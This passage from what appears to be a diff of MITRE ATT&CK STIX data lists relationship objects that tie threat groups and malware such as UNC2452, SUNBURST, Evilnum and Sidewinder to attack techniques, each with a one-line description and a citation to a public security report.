"relationship_type": "uses", + "id": "relationship--cb769f63-f715-4046-a9f0-7e365754e888", + "type": "relationship", + "modified": "2021-01-25T14:25:12.657Z", + "created": "2021-01-25T14:25:12.657Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used [AdFind](https://attack.mitre.org/software/S0552) to enumerate remote systems.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--e091f7d9-7a65-444a-a38b-7febe1b14eeb", + "type": "relationship", + "modified": "2021-01-25T14:25:12.659Z", + "created": "2021-01-25T14:25:12.659Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. 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(2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) modified timestamps of backdoors to match legitimate Windows files.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--f758acad-86b7-40d0-9043-a95b198aafe7", + "type": "relationship", + "modified": "2021-01-25T15:35:27.207Z", + "created": "2021-01-25T14:25:12.685Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has collected data of interest from network shares.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--acb0fd33-201c-481f-857d-429c3ef67015", + "type": "relationship", + "modified": "2021-01-25T16:05:34.220Z", + "created": "2021-01-25T16:05:34.220Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has encapsulated [Cobalt Strike](https://attack.mitre.org/software/S0154)'s C2 protocol in DNS and HTTPS.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--8b769a4e-8898-4995-adc1-4334dc0ec0f7", + "type": "relationship", + "modified": "2021-01-25T16:16:36.266Z", + "created": "2021-01-25T16:16:36.266Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used VBScripts to initiate the execution of payloads.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--b59f580e-526d-4f80-bf8a-5fed0a5f2f51", + "type": "relationship", + "modified": "2021-01-25T17:11:41.388Z", + "created": "2021-01-25T17:11:41.388Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used Rundll32 to execute payloads.(Citation: Microsoft Deep Dive Solorigate January 2021) ", + "relationship_type": "uses", + "id": "relationship--797a925e-7fe8-4d88-a372-88160f24b111", + "type": "relationship", + "modified": "2021-01-25T17:27:10.850Z", + "created": "2021-01-25T17:27:10.850Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) removed IFEO values to clean up traces of execution.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--bf19c419-8736-4a1f-83cf-23ba5438ad4c", + "type": "relationship", + "modified": "2021-01-25T17:27:10.847Z", + "created": "2021-01-25T17:27:10.847Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) created VBScripts that were named after existing services or folders to blend into legitimate activities.(Citation: Microsoft Deep Dive Solorigate January 2021) ", + "relationship_type": "uses", + "id": "relationship--81f979db-6420-4686-9239-085ff2a8cc53", + "type": "relationship", + "modified": "2021-01-25T17:27:10.897Z", + "created": "2021-01-25T17:27:10.897Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) created an Image File Execution Options (IFEO) Debugger registry value for the process dllhost.exe to trigger the installation of [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--78fce2a1-4d92-4e67-8e9b-c684f33b4536", + "type": "relationship", + "modified": "2021-01-25T17:27:10.902Z", + "created": "2021-01-25T17:27:10.902Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) can steal cookies and session information from browsers.(Citation: ESET EvilNum July 2020)", + "relationship_type": "uses", + "id": "relationship--3fd05c59-c28b-418a-be56-87ff52d4771c", + "type": "relationship", + "modified": "2021-01-27T16:38:11.994Z", + "created": "2021-01-27T16:38:11.994Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has sent spearphishing emails designed to trick the recipient into opening malicious shortcut links which downloads a .LNK file.(Citation: ESET EvilNum July 2020)", + "relationship_type": "uses", + "id": "relationship--6c0ae1dc-2429-42fd-899e-8aafb9adc50c", + "type": "relationship", + "modified": "2021-04-27T19:55:58.760Z", + "created": "2021-01-27T16:38:12.013Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has sent spearphishing emails containing a link to a zip file hosted on Google Drive.(Citation: ESET EvilNum July 2020)", + "relationship_type": "uses", + "id": "relationship--478e4f65-d03a-4f1b-aeeb-16dddc1bfead", + "type": "relationship", + "modified": "2021-01-27T16:38:12.001Z", + "created": "2021-01-27T16:38:12.001Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) can collect email credentials from victims.(Citation: ESET EvilNum July 2020)", + "relationship_type": "uses", + "id": "relationship--8b914660-657e-4f6e-a9be-ed51c840875e", + "type": "relationship", + "modified": "2021-01-27T16:38:12.026Z", + "created": "2021-01-27T16:38:12.026Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious links to credential harvesting websites.(Citation: ATT Sidewinder January 2021)", + "relationship_type": "uses", + "id": "relationship--107dc621-6f5d-4b59-9873-54355e55312d", + "type": "relationship", + "modified": "2021-04-06T22:07:33.848Z", + "created": "2021-01-27T16:43:48.377Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021." + }, + { + "source_name": "Rewterz Sidewinder APT April 2020", + "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", + "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021." + }, + { + "source_name": "Cyble Sidewinder September 2020", + "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", + "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious attachments that lead victims to credential harvesting websites.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Cyble Sidewinder September 2020)", + "relationship_type": "uses", + "id": "relationship--a28e6ec8-0519-40e7-b252-90205dfbe5d9", + "type": "relationship", + "modified": "2021-04-06T22:07:33.924Z", + "created": "2021-01-27T16:43:48.380Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021." + }, + { + "source_name": "Cyble Sidewinder September 2020", + "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", + "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious links often crafted for specific targets.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)", + "relationship_type": "uses", + "id": "relationship--118e5be5-a143-4e2f-b80f-20b580f14210", + "type": "relationship", + "modified": "2021-04-06T22:07:33.919Z", + "created": "2021-01-27T16:43:48.402Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious attachments often crafted for specific targets.(Citation: ATT Sidewinder January 2021)", + "relationship_type": "uses", + "id": "relationship--cbfb1a32-4582-4ecb-8a0e-4c76caaa5063", + "type": "relationship", + "modified": "2021-04-06T22:07:34.012Z", + "created": "2021-01-27T16:43:48.406Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021." + }, + { + "source_name": "Cyble Sidewinder September 2020", + "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", + "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used LNK files to download remote files to the victim's network.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)", + "relationship_type": "uses", + "id": "relationship--400ed882-80e9-47f7-85a6-11996fbbb635", + "type": "relationship", + "modified": "2021-04-07T15:19:28.823Z", + "created": "2021-01-27T16:57:05.361Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021." + }, + { + "source_name": "Cyble Sidewinder September 2020", + "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", + "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has exploited vulnerabilities to gain execution including CVE-2017-11882 and CVE-2020-0674.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)", + "relationship_type": "uses", + "id": "relationship--0841fe7b-657e-47e9-b4c9-ec812043a41c", + "type": "relationship", + "modified": "2021-04-06T22:07:34.076Z", + "created": "2021-01-27T16:57:05.393Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has used malicious JavaScript files on the victim's machine.(Citation: ESET EvilNum July 2020)", + "relationship_type": "uses", + "id": "relationship--ea3b16db-6b34-4171-9dec-7ce618f49dee", + "type": "relationship", + "modified": "2021-01-27T16:57:46.748Z", + "created": "2021-01-27T16:57:46.748Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has deleted files used during infection.(Citation: ESET EvilNum July 2020)", + "relationship_type": "uses", + "id": "relationship--65ce8ea7-b997-4bb3-8fb4-9259567f492b", + "type": "relationship", + "modified": "2021-01-27T16:57:46.761Z", + "created": "2021-01-27T16:57:46.761Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). 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Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used JavaScript to drop and execute malware loaders.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder COVID-19 June 2020)", + "relationship_type": "uses", + "id": "relationship--326d0ed6-35a6-452e-a8a2-ab2a7e034faa", + "type": "relationship", + "modified": "2021-04-21T12:32:47.110Z", + "created": "2021-01-27T20:35:33.518Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). 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Retrieved January 27, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to identify running processes on the victim's machine.(Citation: ATT Sidewinder January 2021)", + "relationship_type": "uses", + "id": "relationship--1e9f6719-24c5-4c8b-a832-506f46bbadb6", + "type": "relationship", + "modified": "2021-04-06T22:07:34.268Z", + "created": "2021-01-28T15:40:53.409Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). 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Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to enumerate software installed on an infected host.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)", + "relationship_type": "uses", + "id": "relationship--ab058a49-a8fc-403d-ae97-9137625c82d7", + "type": "relationship", + "modified": "2021-04-06T22:07:34.255Z", + "created": "2021-01-28T15:55:35.335Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. 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Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used HTTP in C2 communications.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)", + "relationship_type": "uses", + "id": "relationship--60be159a-b083-48c2-bd38-4abb873d1f30", + "type": "relationship", + "modified": "2021-04-06T22:07:34.551Z", + "created": "2021-01-28T15:58:09.536Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. 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Retrieved January 27, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has configured tools to automatically send collected files to attacker controlled servers.(Citation: ATT Sidewinder January 2021)", + "relationship_type": "uses", + "id": "relationship--3d2736f6-5ce8-48ba-8be0-e8d8ab0a3a9c", + "type": "relationship", + "modified": "2021-04-06T22:07:34.550Z", + "created": "2021-01-28T15:58:09.562Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) can deploy additional components or tools as needed.(Citation: ESET EvilNum July 2020)", + "relationship_type": "uses", + "id": "relationship--acdab071-f314-4671-a794-3c792b559c28", + "type": "relationship", + "modified": "2021-01-28T17:08:52.211Z", + "created": "2021-01-28T17:08:52.211Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + }, + { + 